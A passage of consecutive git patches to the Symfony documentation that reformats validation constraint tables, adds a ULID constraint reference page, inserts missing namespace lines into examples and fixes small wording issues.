+using :doc:`GroupSequence </validation/sequence_provider>` which allows more control.
 
 .. versionadded:: 5.1
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 5d5ae9fa22c..5e727fa97c1 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -185,7 +185,7 @@ Create a Reusable Set of Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In case you need to apply some common set of constraints in different places
-consistently across your application, you can extend the :doc:`Compound constraint</reference/constraints/Compound>`.
+consistently across your application, you can extend the :doc:`Compound constraint </reference/constraints/Compound>`.
 
 .. versionadded:: 5.1
 
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index ad59e529839..52cf0940460 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -360,7 +360,7 @@ How to Sequentially Apply Constraints on a Single Property
 ----------------------------------------------------------
 
 Sometimes, you may want to apply constraints sequentially on a single
-property. The :doc:`Sequentially constraint</reference/constraints/Sequentially>`
+property. The :doc:`Sequentially constraint </reference/constraints/Sequentially>`
 can solve this for you in a more straightforward way than using a ``GroupSequence``.
 
 .. versionadded:: 5.1

From 7406c9acd9f1a22fc52e31dd5fcd5e9391ecbe75 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 13:55:25 +0200
Subject: [PATCH 1262/7107] Enhancement: Use the same tables across all
 constraints

---
 reference/constraints/Currency.rst           | 19 ++++++--------
 reference/constraints/EqualTo.rst            | 24 ++++++++---------
 reference/constraints/GreaterThan.rst        | 23 ++++++++---------
 reference/constraints/GreaterThanOrEqual.rst | 23 ++++++++---------
 reference/constraints/Iban.rst               | 19 ++++++--------
 reference/constraints/IdenticalTo.rst        | 23 ++++++++---------
 reference/constraints/Isbn.rst               | 27 +++++++++-----------
 reference/constraints/Issn.rst               | 23 ++++++++---------
 reference/constraints/Json.rst               | 17 +++++-------
 reference/constraints/LessThan.rst           | 23 ++++++++---------
 reference/constraints/LessThanOrEqual.rst    | 23 ++++++++---------
 reference/constraints/NotEqualTo.rst         | 23 ++++++++---------
 reference/constraints/NotIdenticalTo.rst     | 23 ++++++++---------
 reference/constraints/Traverse.rst           | 14 +++++-----
 reference/constraints/UserPassword.rst       | 19 ++++++--------
 15 files changed, 140 insertions(+), 183 deletions(-)

diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 778f72a1bcb..901a989010b 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -3,17 +3,14 @@ Currency
 
 Validates that a value is a valid `3-letter ISO 4217`_ currency name.
 
-+----------------+---------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                    |
-+----------------+---------------------------------------------------------------------------+
-| Options        | - `groups`_                                                               |
-|                | - `message`_                                                              |
-|                | - `payload`_                                                              |
-+----------------+---------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\Currency`             |
-+----------------+---------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\CurrencyValidator`    |
-+----------------+---------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Currency`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CurrencyValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index c69cea6adc5..153d13a3098 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -10,19 +10,17 @@ To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualT
     equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with
     ``===``.
 
-+----------------+-----------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                |
-+----------------+-----------------------------------------------------------------------+
-| Options        | - `groups`_                                                           |
-|                | - `message`_                                                          |
-|                | - `payload`_                                                          |
-|                | - `propertyPath`_                                                     |
-|                | - `value`_                                                            |
-+----------------+-----------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\EqualTo`          |
-+----------------+-----------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\EqualToValidator` |
-+----------------+-----------------------------------------------------------------------+
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+            - `propertyPath`_
+            - `value`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\EqualTo`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\EqualToValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 5a4bcf6170b..d27017fdbe5 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -6,19 +6,16 @@ force that a value is greater than or equal to another value, see
 :doc:`/reference/constraints/GreaterThanOrEqual`. To force a value is less
 than another value, see :doc:`/reference/constraints/LessThan`.
 
-+----------------+---------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                    |
-+----------------+---------------------------------------------------------------------------+
-| Options        | - `groups`_                                                               |
-|                | - `message`_                                                              |
-|                | - `payload`_                                                              |
-|                | - `propertyPath`_                                                         |
-|                | - `value`_                                                                |
-+----------------+---------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`          |
-+----------------+---------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator` |
-+----------------+---------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+            - `propertyPath`_
+            - `value`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index a17a0782718..8a054e6bbb9 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -5,19 +5,16 @@ Validates that a value is greater than or equal to another value, defined in
 the options. To force that a value is greater than another value, see
 :doc:`/reference/constraints/GreaterThan`.
 
-+----------------+----------------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                           |
-+----------------+----------------------------------------------------------------------------------+
-| Options        | - `groups`_                                                                      |
-|                | - `message`_                                                                     |
-|                | - `payload`_                                                                     |
-|                | - `propertyPath`_                                                                |
-|                | - `value`_                                                                       |
-+----------------+----------------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqual`          |
-+----------------+----------------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator` |
-+----------------+----------------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+            - `propertyPath`_
+            - `value`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqual`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 69843db415a..aa3caeb67f8 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -6,17 +6,14 @@ format of an `International Bank Account Number (IBAN)`_. IBAN is an
 internationally agreed means of identifying bank accounts across national
 borders with a reduced risk of propagating transcription errors.
 
-+----------------+-----------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                |
-+----------------+-----------------------------------------------------------------------+
-| Options        | - `groups`_                                                           |
-|                | - `message`_                                                          |
-|                | - `payload`_                                                          |
-+----------------+-----------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\Iban`             |
-+----------------+-----------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\IbanValidator`    |
-+----------------+-----------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Iban`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IbanValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 89f3372b323..10f1fb52342 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -11,19 +11,16 @@ To force that a value is *not* identical, see
     considered equal. Use :doc:`/reference/constraints/EqualTo` to compare
     with ``==``.
 
-+----------------+--------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                   |
-+----------------+--------------------------------------------------------------------------+
-| Options        | - `groups`_                                                              |
-|                | - `message`_                                                             |
-|                | - `payload`_                                                             |
-|                | - `propertyPath`_                                                        |
-|                | - `value`_                                                               |
-+----------------+--------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalTo`         |
-+----------------+--------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalToValidator`|
-+----------------+--------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+            - `propertyPath`_
+            - `value`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalTo`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalToValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index c96e3f94c55..d2ad1e2c909 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -4,21 +4,18 @@ Isbn
 This constraint validates that an `International Standard Book Number (ISBN)`_
 is either a valid ISBN-10 or a valid ISBN-13.
 
-+----------------+----------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`               |
-+----------------+----------------------------------------------------------------------+
-| Options        | - `bothIsbnMessage`_                                                 |
-|                | - `groups`_                                                          |
-|                | - `isbn10Message`_                                                   |
-|                | - `isbn13Message`_                                                   |
-|                | - `message`_                                                         |
-|                | - `payload`_                                                         |
-|                | - `type`_                                                            |
-+----------------+----------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\Isbn`            |
-+----------------+----------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\IsbnValidator`   |
-+----------------+----------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `bothIsbnMessage`_
+            - `groups`_
+            - `isbn10Message`_
+            - `isbn13Message`_
+            - `message`_
+            - `payload`_
+            - `type`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Isbn`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsbnValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 5c85dea8652..374cc7d2751 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -4,19 +4,16 @@ Issn
 Validates that a value is a valid
 `International Standard Serial Number (ISSN)`_.
 
-+----------------+-----------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                |
-+----------------+-----------------------------------------------------------------------+
-| Options        | - `caseSensitive`_                                                    |
-|                | - `groups`_                                                           |
-|                | - `message`_                                                          |
-|                | - `payload`_                                                          |
-|                | - `requireHyphen`_                                                    |
-+----------------+-----------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\Issn`             |
-+----------------+-----------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\IssnValidator`    |
-+----------------+-----------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `caseSensitive`_
+            - `groups`_
+            - `message`_
+            - `payload`_
+            - `requireHyphen`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Issn`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IssnValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index beac690c4f9..6e8318077da 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -3,16 +3,13 @@ Json
 
 Validates that a value has valid `JSON`_ syntax.
 
-+----------------+-----------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                |
-+----------------+-----------------------------------------------------------------------+
-| Options        | - `message`_                                                          |
-|                | - `payload`_                                                          |
-+----------------+-----------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\Json`             |
-+----------------+-----------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\JsonValidator`    |
-+----------------+-----------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `message`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Json`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\JsonValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 701f5660f5e..abd0aab721c 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -6,19 +6,16 @@ force that a value is less than or equal to another value, see
 :doc:`/reference/constraints/LessThanOrEqual`. To force a value is greater
 than another value, see :doc:`/reference/constraints/GreaterThan`.
 
-+----------------+------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                 |
-+----------------+------------------------------------------------------------------------+
-| Options        | - `groups`_                                                            |
-|                | - `message`_                                                           |
-|                | - `payload`_                                                           |
-|                | - `propertyPath`_                                                      |
-|                | - `value`_                                                             |
-+----------------+------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`          |
-+----------------+------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator` |
-+----------------+------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+            - `propertyPath`_
+            - `value`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index f26a3295e59..42ec3e939e5 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -5,19 +5,16 @@ Validates that a value is less than or equal to another value, defined in the
 options. To force that a value is less than another value, see
 :doc:`/reference/constraints/LessThan`.
 
-+----------------+-------------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                        |
-+----------------+-------------------------------------------------------------------------------+
-| Options        | - `groups`_                                                                   |
-|                | - `message`_                                                                  |
-|                | - `payload`_                                                                  |
-|                | - `propertyPath`_                                                             |
-|                | - `value`_                                                                    |
-+----------------+-------------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`          |
-+----------------+-------------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator` |
-+----------------+-------------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+            - `propertyPath`_
+            - `value`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 0dbaf200739..e1436657ae8 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -11,19 +11,16 @@ options. To force that a value is equal, see
     equal. Use :doc:`/reference/constraints/NotIdenticalTo` to compare with
     ``!==``.
 
-+----------------+-------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                  |
-+----------------+-------------------------------------------------------------------------+
-| Options        | - `groups`_                                                             |
-|                | - `message`_                                                            |
-|                | - `payload`_                                                            |
-|                | - `propertyPath`_                                                       |
-|                | - `value`_                                                              |
-+----------------+-------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualTo`         |
-+----------------+-------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualToValidator`|
-+----------------+-------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+            - `propertyPath`_
+            - `value`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualTo`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualToValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 764885e1573..66ccb871670 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -11,19 +11,16 @@ the options. To force that a value is identical, see
     considered not equal. Use :doc:`/reference/constraints/NotEqualTo` to
     compare with ``!=``.
 
-+----------------+-----------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                      |
-+----------------+-----------------------------------------------------------------------------+
-| Options        | - `groups`_                                                                 |
-|                | - `message`_                                                                |
-|                | - `payload`_                                                                |
-|                | - `propertyPath`_                                                           |
-|                | - `value`_                                                                  |
-+----------------+-----------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalTo`         |
-+----------------+-----------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalToValidator`|
-+----------------+-----------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+            - `propertyPath`_
+            - `value`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalTo`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalToValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 7c6e5aefaa8..852f17cdd01 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -6,14 +6,12 @@ public or having public accessor methods (e.g. a public getter).
 If your object needs to be traversed to validate its data, you can use this
 constraint.
 
-+----------------+-------------------------------------------------------------------------------------+
-| Applies to     | :ref:`class <validation-class-target>`                                              |
-+----------------+-------------------------------------------------------------------------------------+
-| Options        | - `payload`_                                                                        |
-|                | - :ref:`traverse <traverse-option>`                                                 |
-+----------------+-------------------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Validator\\Constraints\\Traverse`                       |
-+----------------+-------------------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`class <validation-class-target>`
+Options     - `payload`_
+            - :ref:`traverse <traverse-option>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Traverse`
+==========  ===================================================================
 
 Basic Usage
 -----------
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 897f809208c..9655380bf95 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -15,17 +15,14 @@ password, but needs to enter their old password for security.
     In order to use this constraints, you should have installed the
     symfony/security-core component with Composer.
 
-+----------------+--------------------------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                                     |
-+----------------+--------------------------------------------------------------------------------------------+
-| Options        | - `groups`_                                                                                |
-|                | - `message`_                                                                               |
-|                | - `payload`_                                                                               |
-+----------------+--------------------------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`          |
-+----------------+--------------------------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator` |
-+----------------+--------------------------------------------------------------------------------------------+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\UserPassword`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UserPasswordValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------

From b37ca011beccd17893b4e7a0ec81686ae418b276 Mon Sep 17 00:00:00 2001
From: laurent35240 <laurent.clouet@westwing.pl>
Date: Mon, 5 Oct 2020 22:10:40 +0200
Subject: [PATCH 1263/7107] [Validator] Add documention for ULID validator

---
 reference/constraints/Ulid.rst    | 107 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 2 files changed, 108 insertions(+)
 create mode 100644 reference/constraints/Ulid.rst

diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
new file mode 100644
index 00000000000..7bcae08e961
--- /dev/null
+++ b/reference/constraints/Ulid.rst
@@ -0,0 +1,107 @@
+ULID
+====
+
+.. versionadded:: 5.2
+
+    The ULID validator was introduced in Symfony 5.2.
+
+Validates that a value is a valid `Universally Unique Lexicographically Sortable Identifier (ULID)`_.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `normalizer`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Ulid`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UlidValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class File
+        {
+            /**
+             * @Assert\Ulid
+             */
+            protected $identifier;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\File:
+            properties:
+                identifier:
+                    - Ulid: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\File">
+                <property name="identifier">
+                    <constraint name="Ulid"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class File
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('identifier', new Assert\Ulid());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This is not a valid ULID.``
+
+This message is shown if the string is not a valid ULID.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
+===============  ==============================================================
+
+.. include:: /reference/constraints/_normalizer-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+
+.. _`Universally Unique Lexicographically Sortable Identifier (ULID)`: https://github.com/ulid/spec
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index f9bf67e80f6..020e84cde65 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -24,6 +24,7 @@ String Constraints
 * :doc:`Ip </reference/constraints/Ip>`
 * :doc:`Json </reference/constraints/Json>`
 * :doc:`Uuid </reference/constraints/Uuid>`
+* :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 

From 3facbc530c0aaae1f7687671a4d239d0702a3539 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 14:19:34 +0200
Subject: [PATCH 1264/7107] Fix: Build

---
 reference/constraints.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints.rst b/reference/constraints.rst
index b0ca049124f..56acb087114 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -21,6 +21,7 @@ Validation Constraints Reference
    constraints/Hostname
    constraints/Ip
    constraints/Uuid
+   constraints/Ulid
    constraints/Json
 
    constraints/EqualTo

From 921e09654c3729303f129609f325d85e88269079 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 14:37:27 +0200
Subject: [PATCH 1265/7107] Minor

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 240d28d1e73..7ef133d339e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -622,7 +622,7 @@ according to the ``multipart/form-data`` content-type. The
 .. tip::
 
     When using multidimensional arrays the :class:`Symfony\\Component\\Mime\\Part\\Multipart\\FormDataPart`
-    automatically appends ``[key]`` to the name of the field::
+    class automatically appends ``[key]`` to the name of the field::
 
         $formData = new FormDataPart([
             'array_field' => [

From 37540f22df726f0799f551b091ad1531b7fa1de6 Mon Sep 17 00:00:00 2001
From: gary houbre <ghoubre@sqli.com>
Date: Mon, 5 Oct 2020 16:08:16 +0200
Subject: [PATCH 1266/7107] Missing Namespace and comment form validation
 context

---
 validation/custom_constraint.rst | 6 ++++++
 validation/sequence_provider.rst | 3 +++
 validation/translations.rst      | 3 +++
 3 files changed, 12 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index faee09778b9..d2e7e148266 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -115,6 +115,8 @@ You can use custom validators like the ones provided by Symfony itself:
     .. code-block:: php-annotations
 
         // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
         use App\Validator\Constraints as AcmeAssert;
         use Symfony\Component\Validator\Constraints as Assert;
 
@@ -159,6 +161,8 @@ You can use custom validators like the ones provided by Symfony itself:
     .. code-block:: php
 
         // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
         use App\Validator\Constraints\ContainsAlphanumeric;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
@@ -249,6 +253,8 @@ not to the property:
     .. code-block:: php
 
         // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
         use App\Validator\Constraints\ProtocolClass;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 98a9389212f..11edc43a7e0 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -149,6 +149,9 @@ that group are valid, the second group, ``Strict``, will be validated.
 
 You can also define a group sequence in the ``validation_groups`` form option::
 
+    // src/Form/MyType.php
+    namespace App\Form;
+    
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
     use Symfony\Component\Validator\Constraints\GroupSequence;
diff --git a/validation/translations.rst b/validation/translations.rst
index 33d7afdf384..5c22f9362c3 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -28,6 +28,8 @@ property is not empty, add the following:
     .. code-block:: php-annotations
 
         // src/Entity/Author.php
+        namespace App\Entity;
+
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author
@@ -67,6 +69,7 @@ property is not empty, add the following:
     .. code-block:: php
 
         // src/Entity/Author.php
+        namespace App\Entity;
 
         // ...
         use Symfony\Component\Validator\Constraints\NotBlank;

From 3df4d9ea244b4e4f9273cea465fb51e347bc92e2 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 6 Oct 2020 17:57:30 +0200
Subject: [PATCH 1267/7107] Document usage of Symfony Mailer for error email

Related to https://github.com/symfony/monolog-bundle/pull/354
---
 logging/monolog_email.rst | 49 +++++++++++++++++++--------------------
 1 file changed, 24 insertions(+), 25 deletions(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 5d172ca0428..cfa2730265f 100644
